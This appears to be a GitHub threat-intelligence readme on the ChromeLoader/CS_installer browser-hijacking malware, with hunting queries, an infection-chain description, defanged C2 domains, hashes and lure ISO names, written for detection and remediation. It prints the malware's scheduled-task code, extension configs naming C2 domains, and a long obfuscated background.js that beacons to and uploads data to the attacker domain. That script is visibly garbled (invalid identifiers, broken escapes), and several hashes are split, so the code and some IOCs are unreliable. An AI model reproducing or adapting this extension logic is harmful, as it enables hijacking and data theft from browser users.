

```
{ "payload": { "allShortcutsEnabled": false, "path": "Threat-Track/CS_INSTALLER", "repo": { "id": 412824334, "defaultBranch": "main", "name": "Threat-Remediation-Scripts", "ownerLogin": "xephora", "currentUserCanPush": false, "isFork": false, "isEmpty": false, "createdAt": "2021-10-02T14:45:52.000Z", "ownerAvatar": "https://avatars.githubusercontent.com/u/41995051?v=4", "public": true, "private": false, "isOrgOwned": false }, "currentUser": null, "refInfo": { "name": "main", "listCacheKey": "v0:1662346312.391696", "canEdit": false, "refType": "branch", "currentOid": "ca28d79f07a335f2805738b0058e538a68"}, {"items": [{"name": "decompiling_attempt", "path": "Threat-Track/CS_INSTALLER/decompiling_attempt", "contentType": "directory"}, {"name": "images", "path": "Threat-Track/CS_INSTALLER/images", "contentType": "directory"}, {"name": "choziosiloader-remediation-script.ps1", "path": "Threat-Track/CS_INSTALLER/choziosiloader-remediation-script.ps1", "contentType": "file"}, {"name": "readme.md", "path": "Threat-Track/CS_INSTALLER/readme.md", "contentType": "file"}], "templateDirectorySuggestionUrl": null, "readme": { "displayName": "readme.md", "richText": ""
```

Observed malicious IOCs for the ChromeLoader/CS_installer aka Choziosi Loader Malware

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CrowdStrike Query to hunt for ChromeLoader

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```
ChromeLoader ScriptContent!=null\n| dedup ComputerName\n| rex field=ScriptContent \"(?<MaliciousDomain>(\\$domain = \\\"[a-zA-Z0-9.]*)\\\")\n| table _time ComputerName ScriptContent MaliciousDomain\n
```

\n

```
CommandLine=\"*CS_installer.exe*\" FilePath=\"*CdRom*\"\n| dedup ComputerName\n| table _time ComputerName CommandLine FilePath SHA256HashData\n
```

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Sigma Rule for ChromeLoader available (Thanks to Twitter User @Kostastsale)

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Twitter Reference: <https://twitter.com/Kostastsale/status/1480821678145826818>

\nSigma Rule: https://github.com/tsale/Sigma_rules/blob/main/malware/ChromeLoader.yml

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Date of first occurrence

\n

01-02-2022

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Description:

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CS_installer/ChromeLoader starts off as an ISO that masquerades as Video Game Cheats/Illegal Software/Freeware, also advertised on twitter via QR Codes. It was observed that the malicious ISO was downloaded as a zipped archive. Once downloaded and extracted, the victim runs the ISO on their machine which on Windows 10 or above mounts to disk. The ISO contains a malicious binary named CS_installer.exe (also seen as setup.exe) and a Win32 API for schedulertask along with configurations files and a symbols file. Once mounted, the folder containing the malicious binary is locked and will not be removed by the antivirus client. It requires dismounting of the disk image to release the binary. Upon execution of the binary CS_installer.exe, numerous persistence mechanisms are created and also a Chrome Extension is downloaded and saved to disk. Once the extension is saved, it extracts the data and installs it into Chrome. The persistence is configured to execute a PowerShell command that runs a base64 encoded payload which will ensure the ChromeExtension remains on the machine. It was also observed that the powershell command removes the previously registered scheduled task before creating one again and repeats the Chrome Extension installation process.

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Sample Analysis

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<https://app.any.run/tasks/bfb74c9f-89d0-4c3b-8c65-233677cdbfc5>

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Domains Observed

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hxxps[://]learnataloukt[.]xyz\nhxxps[://]brokenna[.]work\nhxxps[://]yflexibilituky[.]co\nhxxps[://]ktyouexpect[.]xyz reported by Twitter user @th3_protoCOL https://twitter.com/th3_protoCOL/status/1480621526764322817\nhxxps[://]withyourret[.]xyz reported by Twitter user @th3_protoCOL https://twitter.com/th3_protoCOL/status/1480621526764322817\nhxxps[://]bosskast[.]net reported by Twitter user @cbecks_2\nhxxps[://]soap2day[.]jac reported by Twitter user @cbecks_2\nhxxps[://]wallpaperaccess[.]com reported by Twitter user @cbecks_2\nhxxps[://]uploadhaven[.]com reported by Twitter user @cbecks_2 and @fffoward https://twitter.com/fffoward/status/1480914393084878851\nhxxps[://]steamunlocked[.]net reported by Twitter user @fffoward https://twitter.com/th3_protoCOL/status/1480621526764322817\nhxxps[://]jeterismype[.]co\n reported by Twitter user @cbecks_2 https://twitter.com/cbecks_2/status/1480994197515771914\nhxxps[://]downloadfree101.com reported by Twitter user @StopMalvertisin https://twitter.com/StopMalvertisin/status/1480972727225761794\nhxxps[://]ithconsukultin[.]com reported by Twitter user @Enadani1 https://twitter.com/Enadani1/status/1481454649546788868\nhxxps[://]tobepartou[.]com reported by Twitter user @Enadani1 https://twitter.com/Enadani1/status/1481454649546788868\nhxxps[://]yeconnected[.]com\nhxxps[://]idwhitdoe[.]work\nhxxps[://]yeconne cted[.]com\n

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Malicious ISO

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The Naming convention of the ISOs appear to be targeting young adults. These names consistenly change each infection it seems.

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Universal Chat Spammer.iso\nRoblox Muscle Legends Script _ AutoFarm + More ...iso\n[UPDATED] Bee Swarm Simulator Script GUI _ Hack...iso\nThis_Young_Maidenhead_Family_Now_Makes_15800..._1.iso\nThe Sims 4 [w_ ALL DLC] Free Download.iso\nHow To Install Shaders For Minecraft 1.18.1_1....iso => reported by reddit user remuchiiee\nTwisted Lies by Shandi Boyes.iso\nFile_ BONEWORKS.v1.6.zip ...iso\n

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<https://www.virustotal.com/gui/file/fa52844b5b7fcc0192d0822d0099ea52ed1497134a45a2f06670751ef5b33cd3>
\n<https://www.virustotal.com/gui/file/b43767a9b780ba91cc52954aa741be1bddd0905b492e481aea992bca2a0c6a93>
\n<https://www.virustotal.com/gui/file/860c1f6f3393014fd84bd29359b4200027274eb6d97ee1a49b61e038d3336372>
\n<https://www.virustotal.com/gui/file/ad68453553a84e03c70106b7c13a483aa9ff1987621084e22067cb1344f52ab7>
\n[https://www.virustotal.com/g uii/file/0fb038258bbbc61d4f43cac585ec92c79a9a231bcd265758c23c78f96ac1dbb2](https://www.virustotal.com/gui/file/cd999181de69f01ec686f39cf9a55131a695c55075d530a44f251a8f41da7c8)
\n<https://www.virustotal.com/gui/file/3fc00a37c13ee987ec577a8fd2c9daae31ec482c5276208ddff4bc5cb518c2f3>
\n<https://www.virustotal.com/gui/file/e132de4b3b6b6135121c809e43c0adf3ebf10cb92e7b3c989c24c68ed970a6e6>
\n<https://www.virustotal.com/gui/file/03b2f267de27dae24de14e2c258a18e6c6d11581e6caee3a6df2b7f42947d898>
\n<https://www.virustotal.com/gui/file/e449eeade197cab542b6a11a3bcb972675a1066a88cfb07f09e7f7cbd1d32f6d>
\n<https://www.virustotal.com/gui/file/785f4ee0b26aac97429cdf99b04d2dab44798f2554b61512b49b59f834e91250>
\n<https://www.virustotal.com/gui/file/e1f9968481083fc826401f775a3fe2b5aa40644b797211f235f2adbeb0a0782f>

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Additional Hashes reported by twitter user @cbecks_2

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0ecbe333ec31a169e3bce9f68b310e505dedfed50fe681cfd6a6a26d1f7f41\n1717de403bb77e49be41edfc398864cfa3e351d9843afc3d41a47e5d0172ca79\n18073ce19f3391f82c649a244b5555a88124fb6f496c28a914aa0f4ce139e3f2\n1b4786ecc9b34f30359b28f0f89c0af029c7efc04e52832ae8c1334ddd2b631e\n2e006a8e9f697d8075ba68ab5c793670145ea56028c488f1a00b29738593edfb\n31b2944fb4d13a288497e64b2c4a110127e3f685fae38860aaaf68336f7804d1\n3\n3927e4832dcbfae7ea9e2622af2a37284ceaf93b86434f35878e0077aeb29e7e\n41cc04487a80093df4ac9bb64afc44eb6492bb49fc125b4601cd53476f18d5\na4\n614e2c3540cc6b410445c316d2e35f20759dd091f2f878ddf09eda6ab449f7aa\n66f2ade2a78843c91445f808673d6ae0fe3a13402faac2962f04544a62ffb\n2d\n6d89c1cd593c2df03cddb7cf3f58e2106ff210eeb6f60d5a4bf3b970989dee2e\n8840f385340fad9dd452e243ad1a57fb44acfd6764d4bce98a936e14a7d0\nbfa6\n9ab4665f627e17377f7feda1d3ca4facb5448db587d4d22d2740585ab3fb1f54\n9dd11c756bdf612f372f3d37410bcc469f586f2fc826df5c679b3e77501\nc9371\na9670d746610c3be342728ff3ba8d8e0680b5ac40f4ae6e292a9a616a1b643c8\nbcc6cf82a1dc277be84f28a3b3bb037aa9ef8be4d5695fcbfb24a1033\n174947\nndd2a35d1b94513f124e8b27caff10a98e6318c553da7f50206b0bfded3b52c9\nnedee8c26c5adf5c44b52fbdca47b7f54c6bd391653bba1e0844f0cab9\n06a5baf\nfb9cce7a3fed63c0722f8171e8167a5e7220d6f8d89456854c239976ce7bb5d6\n

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mounted ISO mainly contains:

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\\Device\CdRom0\CS_INSTALLER.EXE (Also seen as setup.exe)\n\\Device\CdRom0\CS_installer.exe.config\n\\Device\CdRom0\CS_installer.pdb\n\\Device\CdRom0\CS_installer.pdb\n\\De vice\CdRom0\Microsoft.Windows.TaskScheduler.dll\n\\Device\CdRom0\meta.txt\n

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CS_installers

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<https://www.virustotal.com/gui/file/ded20df574b843aaa3c8e977c2040e1498ae17c12924a19868df5b12dee6dfdd>
<https://www.virustotal.com/gui/file/5f57a4495b9ab853b9d2ab7d960734645ebe5765e8df3b778d08f86119e1695c>
<https://www.virustotal.com/gui/file/187e08fca3ea9edd8340aaf335bd809a9de7a10b2ac14651ba292f478b56d180>
<https://www.virustotal.com/gui/file/1db5c2feca1706fafc6f767cc16427a2237ab05d95f94b84c287421ec97c224>
<https://www.virustotal.com/gui/file/5c07178b0c44ae71310571b78dde5bbc7dc8ff4675c20d44d5b386dfb4725558>
<https://www.virustotal.com/gui/file/42afb7100d3924915fde289716def039cd14d8116757061df503874217d9b047>
<https://www.virustotal.com/gui/file/2df0cf38c8039745f0341fc679d1dd7a066ec0d2e687c6914d2a2256f945d96d> Reported by Twitter user @cbecks_2
<https://www.virustotal.com/gui/file/aed9351ff414ddf1ecbf747b0bc6d650fc026290cb670cbbaad02fdf3dcd> Reported by Twitter user @cbecks_2
<https://www.virustotal.com/gui/file/dca529c6ec9ea1f638567d5b6c34af4f47a80c0519178c4829becc337db5be02> Reported by Twitter user @cbecks_2

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Additional CS_installer.exe hashes added 01-24-2022

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9eca0cd45c00182736467ae18da21162d0715bd3d53b8df8d92a74a76a89c4a0\n564e913a22cf90ede114c94db8a62457a86bc408bc834fa0e12e85146110c89b\nnc56139ea4ccc766687b743ca7e2baa27b9c4c14940f63c7568fc064959214307\n53347d3121764469e186d2fb243f5c33b1d768bf612cc923174cd54979314dd3\nn44464fb09d7b4242249bb159446b4cf4c884d3dd7a433a72184cdbdc2a83f5e5\nnafca8a5f5f8016a5ce30e1d447c156bc9af5f438b7126203cd59d6b1621756d9\n0\n2d4454d610ae48bf9ffbb7bafc80140a286898a7ffda39113da1820575a892f\n

\n

Observed behavior

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Reads hostname\nHKEY_LOCAL_MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\n\n0S Credential
Dumping\nDNSCompatibility.exe\n\nChecks Windows Trust
Settings\nHKEY_CURRENT_USER\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUSTPROVIDERS\\SOFTWARE\n\nReads settings of System
Certificates\nHKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\305F8BD17AA2CBC483A4C41B19A39A0C7\n5DA39D6\n\nChecks supported
Languages\nHKEY_LOCAL_MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\SORTING\\VERSIONS\n\nEnvironmental
Variables\nHKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\n\nChecks Windows Installation
Data\nHKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\n\nEnumeration of Software\nDNSCompatibility.exe\n

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Scheduled Task

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ChromeLoader uses a Windows API `Microsoft.Win32.TaskScheduler` to create a Scheduled task

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```
| \n
| ChromeLoader uses a dictionary to name the scheduled task.
| \n
```

\n

```
string[] namesDict = new
string[]\n\t{\n\t\t"Loader",\n\t\t"Monitor",\n\t\t"Checker",\n\t\t"Conf",\n\t\t"Task",\n\t\t"Updater"\n\t};\n\t\nint nameIndex =
new Random().Next(namesDict.Length);\n\tstring taskName = \"Chrome\" +
namesDict[nameIndex];\n\tnts.RootFolder.RegisterTaskDefinition(taskName, td);
```

\n

- ```
\n
• ChromeLoader
\n
• ChromeMonitor
```







C:\users\<Profile>\appdata\local\chrome\

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## Malicious Extension

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```
sha256sum archive.zip\n561f219a76e61d113ec002ecc4c42335f072be0f2f23e598f835caba294a3f9b archive.zip\n\nContents:\nbackground.js\nconf.js manifest.json options.png\n
```

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## Sample Extension Configuration

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```
cat conf.js\n\nlet _ExtensionName = \"Options\";\nlet _ExtensionVersion = \"4.0\";\nlet _dd =\n \"MzQ1NDYHAQICAwIGDAEAAgEFAGILBwAMSgoABgYDB0gEAgICAgUHAWAASQ=\";\nlet _ExtDom = \"https://krestinaful[.]com/\";\nlet\n _ExtDomNoSchema = \"krestinaful[.]com\";\nncat conf.js\n\nlet _ExtensionName = \"Properties\";\nlet _ExtensionVersion =\n \"4.4\";\nlet _dd = \"NzI3MjcGAgYEDwAHAgAFAQQGAWA0AgYASwAKAAyEBU4GBAMGcgQKdWAAASw=\";\nlet _ExtDom =\n \"https://tobepartou[.]com/\";\nlet _ExtDomNoSchema = \"tobepartou[.]com\";\n
```

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## Obfuscated Javascript background.js (truncated)

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```
cat background.js\n\nT1MM.q3 = (function () {\n var v = 2;\n for (; v !== 9;) {\n switch (v) {\n case 2:\n v = typeof globalThis === 'object' ? 1 : 5;\n break;\n case 1:\n return globalThis;\n case 5:\n var G;\n try {\n var s = 2;\n for (; s !== 6;) {\n switch (s) {\n case 2:\n Object['defineProperty'](Object['prototype'], 'xbHiy', {\n 'get': function () {\n var J = 2;\n switch (J) {\n case 2:\n break;\n };\n }\n 'configurable': true\n });\n G = xbHiy;\n s = 5;\n }\n case 5:\n G['Qqr8M'] = G;\n s = 4;\n case 4:\n s = typeof Qqr8M === 'undefined' ? 3 : 9;\n case 9:\n delete G['Qqr8M'];\n var N =\n Object['prototype'];\n delete N['xbHiy'];\n s = 6;\n break;\n case 3:\n throw \"\";\n s = 9;\n break;\n }\n }\n } catch (1) {\n G = window;\n return G;\n }\n }\n }\n }\n})();\n\nT1MM.A1MM = A1MM;\nne7(T1MM.q3);\n\n[TRUNCATION..]\n
```

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## Raw Obfuscated javascript sample

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```
U0MM.i5=(function(){var A=2;for(;A !== 9;){switch(A){case 5:var h;try{var m=2;for(;m !== 6;){switch(m){case 2:Object['\x64\x65\x66\x0069\x006e\x0065\x50\x0072\x006f\x0070\x0065\x0072\x74\x0079'](Object['\x70\x72\x006f\x74\x006f\x0074\x79\x0070\x65'],'\x0070\x6c\x71\x0074\x74',{'\x67\x65\x74':function(){var 0=2;for(;0 !== 1;){switch(0){case 2:return this;break;}};'\x63\x6f\x6e\x66\x69\x67\x75\x72\x61\x62\x6c\x65':true});h=plqtt;h['\x006e\x0034\x0072\x75\x0030'] = 9:delete h['\x6e\x0034\x72\x75\x0030'];var s=Object['\x70\x72\x6f\x74\x6f\x74\x0079\x0070\x0065'];delete s['\x70\x006e\x0071\x0074\x74'];m=6;break;case 3:throw '\x';m=9;break;case 4:m=typeof n4ru0 === '\x75\x006e\x0064\x0065\x0066\x0069\x006e\x0065\x64'?3:9;break;}}catch(D){h=window;return h;break;case 1:return GlobalThis;break;case 2:A=typeof GlobalThis === '\x006f\x0062\x6a\x65\x0063\x74'?1:5;break;}})();U0MM.U0MM=U0MM;X4(U0MM.i5);U0MM.n6=(function(){var r6=2;for(;r6 !== 5;){switch(r6){case 2:var I7={P7:(function(u7){var e6=2;for(;e6 !== 10;){switch(e6){case 2:var S7=function(R7){var T6=2;for(;T6 !== 13;){switch(T6){case 3:Y7++;T6=5;break;case 9:var h7,F7;T6=8;break;case 8:h7=f7.j0gg(function(){var U6=2;for(;U6 !== 1;){switch(U6){case 2:return 0.5 - 0Dgg.X0gg();break;}});G0gg('');F7=U0MM.h7;T6=6;break;case 14:return F7;break;case 4:f7.a0gg(A0gg.k0gg(R7[Y7] + 41));T6=3;break;case 5:T6=Y7 < R7.length?4:9;break;case 1:var Y7=0;T6=5;break;case 2:var f7=[];T6=1;break;case 6:T6=!F7? 8:14;break;}};var g7='',d7=m0gg(S7[76,7,36,36])();e6=5;break;case 8:g7+=A0gg.k0gg(D7.H0gg(k7) ^ u7.H0gg(i7));e6=7;break;case 5:var k7=0,i7=0;e6=4;break;case 6:g7=g7.s0gg('%');var p7=0;var q7=function(L6){var V6=2;for(;V6 !== 19;){switch(V6){case 12:V6=p7 === 5 && L6 === 38?11:10;break;case 11:g7.x0gg.l0gg(g7,g7.N0gg(-4,4).N0gg(0,2));V6=5;break;case 10:V6=5;break;case 1:g7.x0gg.l0gg(g7,g7.N0gg(-10,10).N0gg(0,8));V6=5;break;case 13:g7.x0gg.l0gg(g7,g7.N0gg(-6,6).N0gg(0,5));V6=5;break;case 9:V6=p7 === 2 && L6 === 27?8:7;break;case 2:V6=p7 === 0 && L6 === 9?2:1:4;break;case 6:g7.x0gg.l0gg(g7,g7.N0gg(-3,3).N0gg(0,1));V6=5;break;case 20:return N7(L6);break;case 14:V6=p7 === 4 && L6 === 42?13:12;break;case 4:V6=p7 === 1 && L6 === 68?3:9;break;case 7:V6=p7 === 3 && L6 === 61?6:14;break;case 3:g7.x0gg.l0gg(g7,g7.N0gg(-3,3).N0gg(0,1));V6=5;break;case 5:return p7++;break;case 8:g7.x0gg.l0gg(g7,g7.N0gg(-4,4).N0gg(0,2));V6=5;break;}};e6=12;break;case 9:i7=0;e6=8;break;case 12:var N7=function(Q6){var M6=2;for(;M6 !== 1;){switch(M6){case 2:return g7[Q6];break;}};return q7;break;case 4:e6=k7 < D7.length?3:6;break;case 7:(k7++,i7++);e6=4;break;case 3:e6=i7 === u7.length?9:8;break;}})('BS%6G2');return I7;break;}});U0MM.P6=function(){return typeof U0MM.n6.P7 === 'function'?U0MM.n6.P7.apply(U0MM.n6,arguments):U0MM.n6.P7;};U0MM.I6=function(){return typeof U0MM.n6.P7 === 'function'?U0MM.n6.P7.apply(U0MM.n6,arguments):U0MM.n6.P7;};function X4(W8){function n5(A8){var y2=2;for(;y2 !== 5;){switch(y2){case 2:var o8=[arguments];return o8[0][0].Function;break;}}function t5(e8){var k2=2;for(;k2 !== 5;){switch(k2){case 2:var T8=[arguments];return T8[0][0].Math;break;}}function A5(r8){var q2=2;for(;q2 !== 5;){switch(q2){case 2:var m8=[arguments];return m8[0][0].Array;break;}}function e5(Z8){var T2=2;for(;T2 !== 5;){switch(T2){case 2:var N8=[arguments];return N8[0][0].String;break;}}var x8=2;for(;x8 !== 83;){switch(x8){case 50:h8[39]+=h8[23];h8[26]=h8[6];h8[26]+=h8[23];h8[26]+=h8[23];h8[16]=h8[5];h8[16]+=h8[72];h8[16]+=h8[2];x8=64;break;case 42:h8[62]=h8[35];h8[62]+=h8[23];h8[62]+=h8[23];h8[25]=h8[42];h8[25]+=h8[24];h8[25]+=h8[23];h8[28]=h8[30];x8=54;break;case 69:Z5(e5,"fromCharCode",h8[58],h8[50]);x8=68;break;case 2:var h8=[arguments];h8[1]="\x";h8[1]="\xA";h8[3]="\x";h8[3]="\x0";x8=9;break;case 87:Z5(e5,"split",h8[32],h8[25]);x8=86;break;case 14:h8[7]="\xD";h8[5]="\x";h8[5]="\x";h8[6]="\x0";h8[4]="\x";x8=20;break;case 86:Z5(A5,"unshift",h8[32],h8[62]);x8=85;break;case 15:h8[30]="\x0";h8[24]="\x0g";h8[42]="\x";h8[23]="\x";x8=24;break;case 84:Z5(A5,"splice",h8[32],h8[46]);x8=83;break;case 70:Z5(r5,"String",h8[58],h8[57]);x8=69;break;case 64:h8[56]=h8[7];h8[56]+=h8[72];h8[56]+=h8[2];h8[17]=h8[8];x8=60;break;case 68:Z5(A5,"sort",h8[32],h8[17]);x8=67;break;case 9:h8[9]="a";h8[8]="\x";h8[8]="\x";h8[7]="\x";x8=14;break;case 71:Z5(A5,"push",h8[32],h8[34]);x8=70;break;case 72:var Z5=function(y8,F8,Z8,I8){var k8=2;for(;k8 !== 5;){switch(k8){case 2:var J8=[arguments];k5(h8[0][0],J8[0][0],J8[0][1],J8[0][2],J8[0][3]);k8=5;break;case 29:h8[46]+=h8[23];h8[77]=h8[89];h8[77]+=h8[72];h8[77]+=h8[2];x8=42;break;case 35:h8[32]=9;h8[32]=1;h8[58]=5;h8[58]=0;h8[46]=h8[36];h8[46]+=h8[23];x8=29;break;case 20:h8[4]="\xm";h8[2]="\x";h8[2]="\x";h8[89]="\x";h8[35]="\x0";x8=15;break;case 90:Z5(A5,"join",h8[32],h8[26]);x8=89;break;case 85:Z5(n5,"apply",h8[32],h8[77]);x8=84;break;case 54:h8[28]+=h8[23];h8[28]+=h8[23];h8[39]=h8[4];h8[39]+=h8[24];x8=50;break;case 60:h8[17]+=h8[72];h8[17]+=h8[2];h8[50]=h8[3];h8[50]+=h8[23];x8=56;break;case 56:h8[50]+=h8[23];h8[57]=h8[1];h8[57]+=h8[72];h8[57]+=h8[2];x8=75;break;case 24:h8[72]="\x0";h8[23]="\x";h8[23]="\x";h8[36]="\x0";x8=35;break;case 66:Z5(t5,"random",h8[58],h8[16]);x8=90;break;case 89:Z5(r5,"decodeURI",h8[58],h8[39]);x8=88;break;case 88:Z5(e5,"charCodeAt",h8[32],h8[28]);x8=87;break;case 75:h8[34]=h8[9];h8[34]+=h8[72];h8[34]+=h8[2];x8=72;break;case 67:Z5(r5,"Math",h8[58],h8[56]);x8=66;break;}}function r5(P8){var n8=2;for(;n8 !== 5;){switch(n8){case 2:var v8=[arguments];return v8[0][0];break;}}function k5(L8,E8,D8,Q8,C8){var t8=2;for(;t8 !== 13;){switch(t8){case 6:08[7]=false;try{var G2=2;for(;G2 !== 6;){switch(G2){case 2:08[5]={};08[1]=(1,08[0][1])(08[0][0]);08[8]=[08[1],08[1].prototype][08[0][3]];08[8][08[0][4]]=08[8][08[0][2]];G2=3;break;case 3:08[5].set=function(i8){var S2=2;for(;S2 !== 5;){switch(S2){case 2:var b8=[arguments];08[8][08[0][2]]=b8[0][0];S2=5;break;}};08[5].get=function(){var v2=2;for(;v2 !== 13;){switch(v2){case 6:s8[2]+=s8[3];return typeof 08[8][08[0][2]] === s8[2]?undefined:08[8][08[0][2]];break;case 3:s8[8]="\x";s8[8]="\x";s8[2]=s8[8];s8[2]+=s8[1];v2=6;break;case 2:var s8=[arguments];s8[3]="\x";s8[3]="\xed";s8[1]="\x";v2=3;break;}};08[5].enumerable=08[7];try{var o2=2;for(;o2 !== 3;){switch(o2){case 2:08[9]=08[6];08[9]+=08[4];08[9]+=08[2];o2=4;break;case 4:08[0][0].Object[08[9]][08[8],08[0][4],08[5]];o2=3;break;}}catch(h6){G2=6;break;}}catch(v6){t8=13;break;case 3:08[4]="\x";08[6]="\x";08[6]="\x";08[7]=true;t8=6;break;case 2:var 08=[arguments];08[2]="\x";08[2]="\x";08[2]="\x";t8=3;break;}}function U0MM(){var y01111="+\x2";for(;y01111 !== "\x13" << 64;){switch(y01111){case "+\x2":y01111=U0MM.I6("\x92" >> 0) === "+\x40"?+"\x1":+"\x5" - 0;break;case "+\x9":U0MM.I6="+\x1" >> 32;y01111="+\x8" >> 32;break;case "+\x14":U0MM.d6="+\x26";y01111="+\x13";break;case "+\x4":U0MM.p6="+\x80" - 0;y01111="+\x3";break;case "+\x8":y01111=U0MM.I6("\x61" - 0) > U0MM.P6("+\x42")?+"\x7":+"\x6" * 1;break;case "+\x1":U0MM.g6="+\x35" * 1;y01111="+\x5";break;case "+\x7":U0MM.J6="+\x86" ^ 0;y01111="+\x6";break;case "\x5" | 1:y01111=U0MM.P6("+\x68") != "+\x30"? +\x4":+"\x3" ^ 0;break;case "\x6":y01111=U0MM.P6("\x38" ^ 0) >= "\x80" - 0?+"\x14" << 32:"\x13" ^ 0;break;case "\x3" - 0:y01111=U0MM.P6("+\x27") < "+\x58"?+"\x9" ^ 0?+"\x8";break;}}chrome.U0MM.I6("+\x32")][U0MM.I6("+\x34")]](w7=>{var Z4=U0MM;w7[Z4.P6("+\x35")][Z4.P6("\x36" << 32)]({name:Z4.P6("+\x37"),value:_dd});return {requestHeaders:w7[Z4.I6("\x35" << 64)]];},[url:U0MM.I6("+\x38") + _ExtDomNoSchema + U0MM.I6("+\x39")]],U0MM.I6("+\x40"),U0MM.I6("+\x35")];chrome.U0MM.I6("+\x32")][U0MM.I6("+\x41")][U0MM.I6("\x34" << 0)](function(n7){var D4=U0MM;var r7,a7,d7,C7,K7;if(n7[D4.I6("\x42" << 0)] !== D4.P6("\x43" * 1))[return null];r7=n7[D4.P6("\x44" ^ 0)] ^ 0?+new URL(r7);if(r7[D4.P6("+\x45")])(D4.I6("+\x46")) >= ("\x0" | 0) && r7[D4.P6("\x45" * 1)](D4.I6("+\x47")) >= "+\x0" && r7[D4.P6("+\x45")](D4.I6("\x48" ^ 0)) >= ("\x0" | 0){d7=a7[D4.P6("\x49" ^ 0)][D4.I6("+\x50")](D4.P6("+\x51"))};if(r7[D4.P6("\x45" - 0)](D4.I6("\x52" * 1)) >= "+\x0" && r7[D4.P6("\x45" | 33)](D4.P6("\x53")) >= "\x0" - 0){d7=a7[D4.I6("\x49" | 0)][D4.P6("\x50" >> 32)](D4.P6("\x54" - 0));}if(r7[D4.P6("\x45" * 1)](D4.I6("+\x55")) >= "\x0" >> 32 && r7[D4.P6("\x45" | 0)](D4.P6("+\x47")) >= ("\x0" ^ 0) && r7[D4.I6("+\x45")](D4.I6("\x48" ^ 0)) >= "\x0" * 1){d7=a7[D4.I6("+\x49")][D4.I6("\x50" >> 32)](D4.I6("+\x51"))};if(d7 && d7[D4.I6("\x56" ^ 0)] > +"\x1"){C7=getWithExpiry(D4.P6("\x57" | 25));K7=n7[D4.P6("+\x58")];if(d7 === C7){return null};if(C7 && K7){if(K7[D4.I6("+\x59")](D4.I6("\x55" | 53))){setWithExpirySec(D4.I6("+\x57"),d7,+"\x60");return null};if(K7[D4.I6("\x59" ^ 0)](D4.I6("\x60" | 8))}
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{setWithExpirySec(D4.P6("\57\ " - 0),d7,\60\ " ^ 0);return null;}}setWithExpirySec(D4.P6("\57\ " - 0),d7,\60\ " - 0);chrome[D4.I6(+\"61\")] [D4.I6(+\"62\ " * 1)]({url:_ExtDom + D4.P6(+\"63\") + _ExtensionName + D4.P6("\1\" >> 0) + _ExtensionVersion + D4.I6(+\"64\") + d7});},{urls:[U0MM.I6("\65\ " >> 32),U0MM.I6("\66\ " << 0),U0MM.I6("\67\ " * 1)], [U0MM.P6(+\"40\")]};chrome[U0MM.I6(+\"68\")] [U0MM.P6("\69\ " << 0)] [U0MM.P6(+\"34\")] (G7=>{var I4=U0MM;if(G7[I4.I6("\70\ " ^ 0)] == I4.I6("\71\ " | 3)}) {localStorage[I4.I6("\30\ " ^ 0)] [I4.P6(+\"57\")] };chrome[I4.I6("\72\ " | 72)] [I4.P6(+\"73\")] [I4.I6("\74\ " * 1), {delayInMinutes:+\"1.1\",periodInMinutes:\180\ " * 1}];analytics(I4.P6("\71\ " | 7),I4.I6(+\"3\"));sync();chrome[I4.I6("\16\ " >> 0)] [I4.P6("\75\ " * 1)] (function(m7){handleInstalledExtensions(m7)});chrome[I4.P6("\76\ " | 4)] [I4.I6("\77\ " ^ 0)] [I4.P6("\78\ " << 32)] [I4.P6("\79\ " >> 32)] ({value:!\"1\"});});chrome[U0MM.P6("\68\ " << 32)] [U0MM.P6(+\"80\")] (_ExtDom + U0MM.P6(+\"81\") + _ExtensionName + U0MM.I6(+\"1\") + _ExtensionVersion + U0MM.P6(+\"2\") + _dd);chrome[U0MM.I6("\82\ " << 64)] [U0MM.P6("\73\ " * 1)] ({title:U0MM.P6("\83\ " * 1),id:U0MM.I6(+\"84\"),contexts:[U0MM.I6(+\"85\")] });function handleInstalledExtensions(07){var h4=U0MM;fetch(h4.I6("\18\ " | 2) + _ExtDomNoSchema + h4.I6(+\"19\") + h4.I6("\0\ " << 96) + _ExtensionName + h4.I6(+\"1\") + _ExtensionVersion + h4.P6("\2\ " - 0) + _dd,{method:h4.P6("\20\ " ^ 0),headers:{'Accept':h4.P6("\22\ " * 1),'Content-Type':h4.I6(+\"24\")},body:JSON[h4.P6("\25\ " >> 64)] [07]}) [h4.I6("\2\ " * 1)] (v7=>v7[h4.I6("\10\ " << 32)] ()) [h4.P6(+\"9\")] (s7=>handleExtensionResp(s7));}function sync(){var B4=U0MM;var L7;L7=_ExtDom + B4.P6("\6\ " - 0);fetch(L7,{method:B4.I6(+\"7\"),credentials:B4.P6("\8\ " >> 0)} [B4.I6(+\"9\")] (W7=>W7[B4.I6("\10\ " ^ 0)] ()) [B4.I6(+\"9\")] (A7=> {analytics(B4.P6(+\"11\"),A7)} [B4.I6("\12\ " << 0)] (J7=>{)});chrome[U0MM.P6(+\"61\")] [U0MM.P6(+\"86\")] [U0MM.P6("\34\ " << 0)] (y7);return null;};return null;};return Z7[a4.P6("\31\ " - 0)] [07]};chrome[U0MM.I6(+\"92\ " * 1)] [U0MM.P6(+\"93\")] [U0MM.I6("\34\ " * 1)] (function(p5) {chrome[U0MM.P6("\61\ " * 1)] [U0MM.P6("\73\ " | 8)] (url:U0MM.P6("\90\ " << 32)});chrome[U0MM.P6(+\"82\")] [U0MM.P6("\93\ " << 64)] [U0MM.I6("\34\ " >> 32)] (function(f5,F5){chrome[U0MM.I6(+\"61\")] [U0MM.I6(+\"73\")] (url:U0MM.P6(+\"90\"));});function analytics(b7,E7){var f4=U0MM;var M7;M7=_ExtDom + b7 + f4.I6(+\"0\") + _ExtensionName + f4.I6(+\"1\") + _ExtensionVersion + f4.I6("\2\ " ^ 0) + _dd;if(E7 != f4.P6("\3\ " | 3)) {M7=M7 + f4.I6(+\"4\") + E7};navigator[f4.I6("\5\ " * 1)] (M7);function setWithExpirySec(B7,x7,X7){var o7,T7;o7=new Date();T7={value:x7,expiry:o7[U0MM.P6(+\"26\")] () + X7 * \1000\ "};localStorage[U0MM.P6(+\"27\")] 